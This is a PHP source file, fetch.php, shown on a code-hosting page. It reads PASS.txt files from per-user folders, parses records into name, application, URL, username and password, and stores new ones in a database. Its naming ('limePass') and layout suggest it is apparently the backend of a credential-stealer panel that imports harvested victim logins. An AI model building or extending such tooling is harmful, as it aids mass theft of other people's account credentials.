-
Notifications
You must be signed in to change notification settings - Fork 1
/
fetch.php
67 lines (57 loc) · 1.82 KB
/
fetch.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
include("config.php");
$userScanns = scandir($userDir);
unset($userScanns[0]);
unset($userScanns[1]);
function limePassContentToArray( $content )
{
$tempLine = "";
$resultArray = array();
$resultArrayFinaly = array();
foreach ($content as $line){
$tempLine .= $line;
if(strlen($line) == 0){
array_push($resultArray,$tempLine);
$tempLine = "";
}
}
$i = 0;
foreach ($resultArray as $fullLine){
$lineArray[] = explode("~|~",$fullLine);
$temp = array();
foreach ($lineArray as $lines){
$temp["name"] =trim( $lines[2]);
$temp["application"] = trim($lines[4]);
$temp["url"] = trim($lines[6]);
$temp["username"] = trim($lines[8]);
$temp["password"] = trim($lines[10]);
}
array_push($resultArrayFinaly,$temp);
$temp = array();
}
return $resultArrayFinaly;
}
foreach($userScanns as $folder){
$die = false;
$content = file_get_contents($userDir.$folder."/PASS.txt");
//Debug Only
if(!empty( $content)){
// $die = true;
}
$content = explode("\r\n",$content);
$resultArray = limePassContentToArray($content);
//Debug Only
//var_dump( $resultArray);
foreach($resultArray as $result){
$statement = $pdo->prepare("SELECT * FROM urls WHERE username LIKE ? AND url LIKE ?");
$statement->execute(array($result["username"],$result["url"]));
$user = $statement->fetch();
if($user == false) {
$statement = $pdo->prepare("INSERT INTO urls (name, application,url,username,password) VALUES (:name, :application,:url,:username,:password)");
$statement->execute($result);
}
}
if($die){
die();
}
}